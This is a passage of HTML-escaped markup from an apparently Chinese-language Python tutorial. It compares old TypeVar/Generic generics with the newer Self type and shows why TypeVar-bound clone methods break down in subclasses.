&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;process_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ListOrNone&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;旧写法:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;TypeVar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Generic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Union&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 1. 必须先定义 TypeVar&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TypeVar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;T&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TypeVar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Number&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Union&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="c1"&gt;# 约束的旧写法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 2. 泛型函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_first_old&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elements&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 3. 泛型类，需要继承 Generic[T]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BoxOld&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Generic&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id="返回自身实例"&gt;返回自身实例
&lt;/h4&gt;&lt;p&gt;现代(3.11+): 使用&lt;code&gt;Self&lt;/code&gt;类型&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Self&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;set_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Self&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Self&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nd"&gt;@classmethod&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create_admin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Self&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;admin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;旧写法处理实例创建的时候会有问题:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;span class="lnt"&gt;40
&lt;/span&gt;&lt;span class="lnt"&gt;41
&lt;/span&gt;&lt;span class="lnt"&gt;42
&lt;/span&gt;&lt;span class="lnt"&gt;43
&lt;/span&gt;&lt;span class="lnt"&gt;44
&lt;/span&gt;&lt;span class="lnt"&gt;45
&lt;/span&gt;&lt;span class="lnt"&gt;46
&lt;/span&gt;&lt;span class="lnt"&gt;47
&lt;/span&gt;&lt;span class="lnt"&gt;48
&lt;/span&gt;&lt;span class="lnt"&gt;49
&lt;/span&gt;&lt;span class="lnt"&gt;50
&lt;/span&gt;&lt;span class="lnt"&gt;51
&lt;/span&gt;&lt;span class="lnt"&gt;52
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;__future__&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;annotations&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;TypeVar&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;S&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TypeVar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;S&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ShapeOld&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ShapeOld&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;scale&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scale&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scale&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;set_scale&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;scale&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;这个方法签名看起来没问题，可以正确地在子类中返回子类类型。&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scale&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scale&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; 我们希望克隆一个与 self 类型完全相同的对象 (T)。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; 但是，我们只能调用已知的基类构造器 `ShapeOld()`。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; 如果 self 是一个 CircleOld 实例，调用 ShapeOld() 返回的却是一个 ShapeOld 实例。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; 这与签名的 -&amp;gt; S 承诺相违背，所以静态类型检查器会报错，我们被迫要type: ignore。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; 因此 子类必须重写 clone 方法来返回正确的类型，会导致不可避免的代码重复。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ShapeOld&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scale&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# Type &amp;#34;ShapeOld&amp;#34; is not assignable to return type &amp;#34;S@clone&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CircleOld&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ShapeOld&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;scale&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;5.0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scale&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;radius&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;radius&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;set_radius&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;这是一个子类特有的方法。&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;radius&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;radius&lt;/span&gt; &lt;span class="c1"&gt;# Cannot assign to attribute &amp;#34;radius&amp;#34; for class &amp;#34;ShapeOld*&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# def clone(self: S) -&amp;gt; S:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 重写 clone 方法以返回正确的 CircleOld 类型。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 这会导致代码重复，因为我们需要手动调用基类构造器。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# return CircleOld(self.scale, self.radius)&lt;/span&gt;
